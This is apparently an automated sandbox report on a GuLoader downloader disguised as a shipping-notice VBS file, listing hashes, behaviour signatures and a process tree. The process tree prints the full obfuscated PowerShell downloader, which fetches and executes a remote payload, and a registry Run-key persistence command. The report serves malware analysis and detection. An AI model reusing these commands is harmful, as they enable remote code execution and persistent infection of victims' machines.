guloader | b30bb2c67741afe2a5173337bd2acab5785c408cce2fbb84dc07a3c904f3f3c6

Analysis

max time kernel
120s
max time network
120s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
25-06-2024 11:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

awb_shipping_post_24062024224782020031808174CN1824062400000(991KB).vbs
Size

187KB
MD5

71e6ad71e4958df129a87422066d1be1
SHA1

75e5f0176d44782d874e74411d72ec5dbe86660c
SHA256

b30bb2c67741afe2a5173337bd2acab5785c408cce2fbb84dc07a3c904f3f3c6
SHA512

c6217bdc6b15046be438f7367c28b4a1dded02181a0e0579ceba297b0e4cdf4b7256b0ed1e8cada6cb3555bd344d739b166b269b68a05f2e6c391d997b1d7832
SSDEEP

3072:fmN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZV:f08GxbKja3+DCbKCvBB/WnHXC/sLJFJ4

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Blocklisted process makes network request 6 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

2 2008 WScript.exe
7 3024 powershell.exe
8 3024 powershell.exe
9 3024 powershell.exe
10 3024 powershell.exe
11 3024 powershell.exe

flow	pid	process
2	2008	WScript.exe
7	3024	powershell.exe
8	3024	powershell.exe
9	3024	powershell.exe
10	3024	powershell.exe
11	3024	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows\CurrentVersion\Run\Faarehovedernes = "%Soberlike% -w 1 $Paraplasis=(Get-ItemProperty -Path 'HKCU:\\Presentationes\\').Fyrvrkeres;%Soberlike% ($Paraplasis)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

Processes:

wab.exe

pid process

1944 wab.exe
1944 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

2740 powershell.exe
1944 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2740 set thread context of 1944 2740 powershell.exe wab.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1620 reg.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exe

pid process

3024 powershell.exe
2740 powershell.exe
2740 powershell.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2740 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3024 powershell.exe
Token: SeDebugPrivilege 2740 powershell.exe

pid	process
1944	wab.exe
1944	wab.exe

pid	process
2740	powershell.exe
1944	wab.exe

description	pid	process	target process
PID 2740 set thread context of 1944	2740	powershell.exe	wab.exe

pid	process
1620	reg.exe

pid	process
3024	powershell.exe
2740	powershell.exe
2740	powershell.exe

pid	process
2740	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3024	powershell.exe
Token: SeDebugPrivilege	2740	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

WScript.exepowershell.exepowershell.exewab.execmd.exe

description	pid	process	target process
PID 2008 wrote to memory of 3024	2008	WScript.exe	powershell.exe
PID 2008 wrote to memory of 3024	2008	WScript.exe	powershell.exe
PID 2008 wrote to memory of 3024	2008	WScript.exe	powershell.exe
PID 3024 wrote to memory of 2724	3024	powershell.exe	cmd.exe
PID 3024 wrote to memory of 2724	3024	powershell.exe	cmd.exe
PID 3024 wrote to memory of 2724	3024	powershell.exe	cmd.exe
PID 3024 wrote to memory of 2740	3024	powershell.exe	powershell.exe
PID 3024 wrote to memory of 2740	3024	powershell.exe	powershell.exe
PID 3024 wrote to memory of 2740	3024	powershell.exe	powershell.exe
PID 3024 wrote to memory of 2740	3024	powershell.exe	powershell.exe
PID 2740 wrote to memory of 2804	2740	powershell.exe	cmd.exe
PID 2740 wrote to memory of 2804	2740	powershell.exe	cmd.exe
PID 2740 wrote to memory of 2804	2740	powershell.exe	cmd.exe
PID 2740 wrote to memory of 2804	2740	powershell.exe	cmd.exe
PID 2740 wrote to memory of 1944	2740	powershell.exe	wab.exe
PID 2740 wrote to memory of 1944	2740	powershell.exe	wab.exe
PID 2740 wrote to memory of 1944	2740	powershell.exe	wab.exe
PID 2740 wrote to memory of 1944	2740	powershell.exe	wab.exe
PID 2740 wrote to memory of 1944	2740	powershell.exe	wab.exe
PID 2740 wrote to memory of 1944	2740	powershell.exe	wab.exe
PID 1944 wrote to memory of 2340	1944	wab.exe	cmd.exe
PID 1944 wrote to memory of 2340	1944	wab.exe	cmd.exe
PID 1944 wrote to memory of 2340	1944	wab.exe	cmd.exe
PID 1944 wrote to memory of 2340	1944	wab.exe	cmd.exe
PID 2340 wrote to memory of 1620	2340	cmd.exe	reg.exe
PID 2340 wrote to memory of 1620	2340	cmd.exe	reg.exe
PID 2340 wrote to memory of 1620	2340	cmd.exe	reg.exe
PID 2340 wrote to memory of 1620	2340	cmd.exe	reg.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\awb_shipping_post_24062024224782020031808174CN1824062400000(991KB).vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2008

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Abstractionist Nondeclarative Logikanalysatorer105 Dogmatikkers Skovdistrikts Storhedstidernes Unroyalized Sapid Downpour Bnkebidere Afhvledes Tsumebite Hydrohematite Achilleine Adverseness Vivas Udtalt75 Epharmony Ggebger Familieplanlgningens210 Grimrianer81 Domstolene Sidenumres Kommaterede Abstractionist Nondeclarative Logikanalysatorer105 Dogmatikkers Skovdistrikts Storhedstidernes Unroyalized Sapid Downpour Bnkebidere Afhvledes Tsumebite Hydrohematite Achilleine Adverseness Vivas Udtalt75 Epharmony Ggebger Familieplanlgningens210 Grimrianer81 Domstolene Sidenumres Kommaterede';$Formueoverfrsler = 1;Function Tonalt($Stersfart){$Kines=$Stersfart.Length-$Formueoverfrsler;$fljlskjolers='SUBSTRIN';$fljlskjolers+='G';For( $Fejlvurderingens=1;$Fejlvurderingens -lt $Kines;$Fejlvurderingens+=2){$Abstractionist+=$Stersfart.$fljlskjolers.Invoke( $Fejlvurderingens, $Formueoverfrsler);}$Abstractionist;}function Outleaped($Mntvaskerierne){ . ($Donna122) ($Mntvaskerierne);}$Damnonii=Tonalt ' M o.zLi.l l a,/,5P. 0. (.WSiHn d.o,w s, N T S1 0S.,0 ; WWFiSn 6G4P; x 6F4 ; TrGv : 1.2 1 .B0 ) G e,c k oT/G2M0 1H0.0P1N0 1E CF i,r eAf.oTx / 1 2 1P.S0F ';$Lovede=Tonalt 'IUGsBe rt-.A,g,e nTt, ';$Skovdistrikts=Tonalt 'GhAt t pYs,: /r/Berv,o lDuNxVc,o.nUt a b.iHl.iBd,aSdDeJ.UcHo m .pbKrN/.R,UIS,/ BUl.oAt,l,gSg.eTrB.Sm i,x >EhStnt p :,/f/B1U9 4H.a5A9 . 3 1..T1M3 7O/ BDl oLtOlSg gAe rJ. m iLx ';$mossbacks=Tonalt 'P> ';$Donna122=Tonalt 'bi e xS ';$Steek='Sapid';$Tastaturteksts = Tonalt 'we cCh o .%AaHpUpCd.a.tVa % \RRByOtAm,ePnU. Fia e & & BeBc hAo MtA ';Outleaped (Tonalt 'W$,gOlloRb aMl.:,I dSepnOt iAf.i kKaSt,i o n,sNp aUpUi rDe r n.e = ( c.m d /BcS $LTBaUsSt a tbu r,t.e,kSs.tAsA). ');Outleaped (Tonalt ' $Cg l,o b,aIlE:UD oOg m,aStKiHk kEeGr,s =E$,SVk o vfd iIs tSr i kEt.sS.Vs pElUi.tW(,$mmPoHsKssb a.c kUs )J ');Outleaped (Tonalt ' [ NFeAtS.ASSeDr.v iBcBeJP oCi,nTt M.aTn aSgTe.rU].:U: S e cvu rHi t yTPIrSoLt.oPc oFlA =, m[dN,ePt,.ASJe.cTuSrSi.t.yyP rKo t,o c oSl,TMy,pSeM].:.:uTGlBs 1O2 ');$Skovdistrikts=$Dogmatikkers[0];$raptorial= (Tonalt 'H$mgAl,oAb.a l : O pStShCa l m.o lFoFg i,cB=DNEeUwF-AO b jMegcLt S.yRsLtCe,m...NAeFt .RWPeBbICClTi.eSn.t');$raptorial+=$Identifikationspapirerne[1];Outleaped ($raptorial);Outleaped (Tonalt 'E$SO pNtHhPa.lfm o.lBo g iWcR. HTeTaMdAeDrUsX[A$SLmoMv eed eV] =S$KDKa.m,nIo nUi iH ');$Stableness=Tonalt ' $ OipCtOh aJl m o l o,gFi cI. DFoEwkn l o a dGF iRl e.(O$ SDkPoSvSd.i s,tAr iAkPtBsM, $DDRoFmDs,t o lMe,n e )O ';$Domstolene=$Identifikationspapirerne[0];Outleaped (Tonalt ' $,gUl oSbAa ls:IL,aMnCcSa s.tUeFrBiLa n =b( T.eHs,t,-MP aDt,h s$ D o mEsSt,o l e,n e ) ');while (!$Lancasterian) {Outleaped (Tonalt 'M$.g l o,b a.lM: mRiLsFdGeBn t,i t iAo n,= $St,rEu.e. ') ;Outleaped $Stableness;Outleaped (Tonalt '.S tfaBr tU-.S l eKe pE ,4m ');Outleaped (Tonalt 'S$ gClPo,b aRlS:MLLa nOcHa sPt.eHr,i aLn =,(NT e s tS-LPAa t h. $.D oEm,sct o l e n eA), ') ;Outleaped (Tonalt ' $.g,lRoMbPaOl : LGoDg iHkRa n a,lMyKsQa tPoHrOe rG1 0A5R=s$ g l,o,b a l,:PNSoSnHd e cGl aSrPaNt i v.e,+V+ %.$FD.o g m a t,iPk,k.eFr s . cHoSu nSt ') ;$Skovdistrikts=$Dogmatikkers[$Logikanalysatorer105];}$Massacrous=384112;$Overdistantly=26637;Outleaped (Tonalt 'D$KgPl otb aTl :PD oSwDn.p o,u,r, ,= EG,e t,- C,oHn tSe n tU .$ D.o,m s tRoPl.eRn,ea ');Outleaped (Tonalt ' $LgVl.oAbSaCl :.P lra,t.f,oEr mEeRdT C=. [.SDySs,tAeImG. CBonnRv eCrStP] :N:AF.r oCmABCa.sce 6A4SSTt r iCnAgH( $BD oAw n p oFuGr.), ');Outleaped (Tonalt 'O$Ug lAoFbSaAl,:PTRs.u m eRbCi t eF =V S[ SKyFsMt eDm,. T e.xCt,. ELnTc,o.d i,nFgU]O: :.A.S,CHI I .MG eHtVSTtcr iMnEg (R$FP.l a tsf o rSm e,d ) ');Outleaped (Tonalt 'F$Dg l oKb atlC: T u.b eYr,kVuPl.oCs e,s,t.aFtMi o.n e.n,=.$,T.s uUmle b.iEtEeP.IsVuObhs t rOiTnRgS(T$ MSaDsBs,aBcLrAo.u,s , $,O vge rAdSiAsRt aun tOlNy,)T ');Outleaped $Tuberkulosestationen;"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3024

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Rytmen.Fae && echo t"
3⤵
PID:2724

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Abstractionist Nondeclarative Logikanalysatorer105 Dogmatikkers Skovdistrikts Storhedstidernes Unroyalized Sapid Downpour Bnkebidere Afhvledes Tsumebite Hydrohematite Achilleine Adverseness Vivas Udtalt75 Epharmony Ggebger Familieplanlgningens210 Grimrianer81 Domstolene Sidenumres Kommaterede Abstractionist Nondeclarative Logikanalysatorer105 Dogmatikkers Skovdistrikts Storhedstidernes Unroyalized Sapid Downpour Bnkebidere Afhvledes Tsumebite Hydrohematite Achilleine Adverseness Vivas Udtalt75 Epharmony Ggebger Familieplanlgningens210 Grimrianer81 Domstolene Sidenumres Kommaterede';$Formueoverfrsler = 1;Function Tonalt($Stersfart){$Kines=$Stersfart.Length-$Formueoverfrsler;$fljlskjolers='SUBSTRIN';$fljlskjolers+='G';For( $Fejlvurderingens=1;$Fejlvurderingens -lt $Kines;$Fejlvurderingens+=2){$Abstractionist+=$Stersfart.$fljlskjolers.Invoke( $Fejlvurderingens, $Formueoverfrsler);}$Abstractionist;}function Outleaped($Mntvaskerierne){ . ($Donna122) ($Mntvaskerierne);}$Damnonii=Tonalt ' M o.zLi.l l a,/,5P. 0. (.WSiHn d.o,w s, N T S1 0S.,0 ; WWFiSn 6G4P; x 6F4 ; TrGv : 1.2 1 .B0 ) G e,c k oT/G2M0 1H0.0P1N0 1E CF i,r eAf.oTx / 1 2 1P.S0F ';$Lovede=Tonalt 'IUGsBe rt-.A,g,e nTt, ';$Skovdistrikts=Tonalt 'GhAt t pYs,: /r/Berv,o lDuNxVc,o.nUt a b.iHl.iBd,aSdDeJ.UcHo m .pbKrN/.R,UIS,/ BUl.oAt,l,gSg.eTrB.Sm i,x >EhStnt p :,/f/B1U9 4H.a5A9 . 3 1..T1M3 7O/ BDl oLtOlSg gAe rJ. m iLx ';$mossbacks=Tonalt 'P> ';$Donna122=Tonalt 'bi e xS ';$Steek='Sapid';$Tastaturteksts = Tonalt 'we cCh o .%AaHpUpCd.a.tVa % \RRByOtAm,ePnU. Fia e & & BeBc hAo MtA ';Outleaped (Tonalt 'W$,gOlloRb aMl.:,I dSepnOt iAf.i kKaSt,i o n,sNp aUpUi rDe r n.e = ( c.m d /BcS $LTBaUsSt a tbu r,t.e,kSs.tAsA). ');Outleaped (Tonalt ' $Cg l,o b,aIlE:UD oOg m,aStKiHk kEeGr,s =E$,SVk o vfd iIs tSr i kEt.sS.Vs pElUi.tW(,$mmPoHsKssb a.c kUs )J ');Outleaped (Tonalt ' [ NFeAtS.ASSeDr.v iBcBeJP oCi,nTt M.aTn aSgTe.rU].:U: S e cvu rHi t yTPIrSoLt.oPc oFlA =, m[dN,ePt,.ASJe.cTuSrSi.t.yyP rKo t,o c oSl,TMy,pSeM].:.:uTGlBs 1O2 ');$Skovdistrikts=$Dogmatikkers[0];$raptorial= (Tonalt 'H$mgAl,oAb.a l : O pStShCa l m.o lFoFg i,cB=DNEeUwF-AO b jMegcLt S.yRsLtCe,m...NAeFt .RWPeBbICClTi.eSn.t');$raptorial+=$Identifikationspapirerne[1];Outleaped ($raptorial);Outleaped (Tonalt 'E$SO pNtHhPa.lfm o.lBo g iWcR. HTeTaMdAeDrUsX[A$SLmoMv eed eV] =S$KDKa.m,nIo nUi iH ');$Stableness=Tonalt ' $ OipCtOh aJl m o l o,gFi cI. DFoEwkn l o a dGF iRl e.(O$ SDkPoSvSd.i s,tAr iAkPtBsM, $DDRoFmDs,t o lMe,n e )O ';$Domstolene=$Identifikationspapirerne[0];Outleaped (Tonalt ' $,gUl oSbAa ls:IL,aMnCcSa s.tUeFrBiLa n =b( T.eHs,t,-MP aDt,h s$ D o mEsSt,o l e,n e ) ');while (!$Lancasterian) {Outleaped (Tonalt 'M$.g l o,b a.lM: mRiLsFdGeBn t,i t iAo n,= $St,rEu.e. ') ;Outleaped $Stableness;Outleaped (Tonalt '.S tfaBr tU-.S l eKe pE ,4m ');Outleaped (Tonalt 'S$ gClPo,b aRlS:MLLa nOcHa sPt.eHr,i aLn =,(NT e s tS-LPAa t h. $.D oEm,sct o l e n eA), ') ;Outleaped (Tonalt ' $.g,lRoMbPaOl : LGoDg iHkRa n a,lMyKsQa tPoHrOe rG1 0A5R=s$ g l,o,b a l,:PNSoSnHd e cGl aSrPaNt i v.e,+V+ %.$FD.o g m a t,iPk,k.eFr s . cHoSu nSt ') ;$Skovdistrikts=$Dogmatikkers[$Logikanalysatorer105];}$Massacrous=384112;$Overdistantly=26637;Outleaped (Tonalt 'D$KgPl otb aTl :PD oSwDn.p o,u,r, ,= EG,e t,- C,oHn tSe n tU .$ D.o,m s tRoPl.eRn,ea ');Outleaped (Tonalt ' $LgVl.oAbSaCl :.P lra,t.f,oEr mEeRdT C=. [.SDySs,tAeImG. CBonnRv eCrStP] :N:AF.r oCmABCa.sce 6A4SSTt r iCnAgH( $BD oAw n p oFuGr.), ');Outleaped (Tonalt 'O$Ug lAoFbSaAl,:PTRs.u m eRbCi t eF =V S[ SKyFsMt eDm,. T e.xCt,. ELnTc,o.d i,nFgU]O: :.A.S,CHI I .MG eHtVSTtcr iMnEg (R$FP.l a tsf o rSm e,d ) ');Outleaped (Tonalt 'F$Dg l oKb atlC: T u.b eYr,kVuPl.oCs e,s,t.aFtMi o.n e.n,=.$,T.s uUmle b.iEtEeP.IsVuObhs t rOiTnRgS(T$ MSaDsBs,aBcLrAo.u,s , $,O vge rAdSiAsRt aun tOlNy,)T ');Outleaped $Tuberkulosestationen;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2740

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Rytmen.Fae && echo t"
4⤵
PID:2804

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:1944

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Faarehovedernes" /t REG_EXPAND_SZ /d "%Soberlike% -w 1 $Paraplasis=(Get-ItemProperty -Path 'HKCU:\Presentationes\').Fyrvrkeres;%Soberlike% ($Paraplasis)"
5⤵
- Suspicious use of WriteProcessMemory
PID:2340

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Faarehovedernes" /t REG_EXPAND_SZ /d "%Soberlike% -w 1 $Paraplasis=(Get-ItemProperty -Path 'HKCU:\Presentationes\').Fyrvrkeres;%Soberlike% ($Paraplasis)"
6⤵
- Adds Run key to start application
- Modifies registry key
PID:1620

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\J0NNIU5IBRF2MQ28ZIKP.temp
Filesize
7KB

MD5
7c41a68f379fa6cbc0f19d5de260ff1b

SHA1
872b73dc46ea708ca6f500245d2c7cbe6ef750f9

SHA256
c79cad258dffdd74cca15cb7fcff6e57ba651b92a3a5e8ef9ffcb9836f7dfc43

SHA512
a4ed38b9db53974855189724ec2456235fafe577bebffc4417364537901336f227cc8ca298531e99ff4ff9f5a21103b764777ad2e8d459231d022a791aa88d5b

Download Submit
C:\Users\Admin\AppData\Roaming\Rytmen.Fae
Filesize
534KB

MD5
ce3d065bfc4261060ddfc8dca15898a4

SHA1
b67f3aafe00ccb2ca051cdd2559ff918eb5e2d03

SHA256
af008bfc605891eaaa3fef3579104b8eba30f9a19987b74c8a53287c90e6eb9e

SHA512
03117174da97241f57f65cc6124e4e5baff6d72b64048fce560bedc7049dc39f3cb8d7501f7d526e89d2c95a090398478b043682955820be7a6460bafb32bd17

Download Submit
memory/1944-42-0x00000000012E0000-0x0000000002A84000-memory.dmp

Filesize
23.6MB

Download
memory/1944-44-0x0000000000270000-0x00000000012D2000-memory.dmp

Filesize
16.4MB

Download
memory/1944-39-0x0000000000270000-0x00000000012D2000-memory.dmp

Filesize
16.4MB

Download
memory/2740-37-0x0000000006660000-0x0000000007E04000-memory.dmp

Filesize
23.6MB

Download
memory/3024-23-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/3024-28-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/3024-27-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/3024-26-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/3024-34-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/3024-35-0x000007FEF586E000-0x000007FEF586F000-memory.dmp

Filesize
4KB

Download
memory/3024-36-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/3024-21-0x000007FEF586E000-0x000007FEF586F000-memory.dmp

Filesize
4KB

Download
memory/3024-24-0x00000000021E0000-0x00000000021E8000-memory.dmp

Filesize
32KB

Download
memory/3024-25-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/3024-45-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/3024-22-0x000000001B590000-0x000000001B872000-memory.dmp

Filesize
2.9MB

Download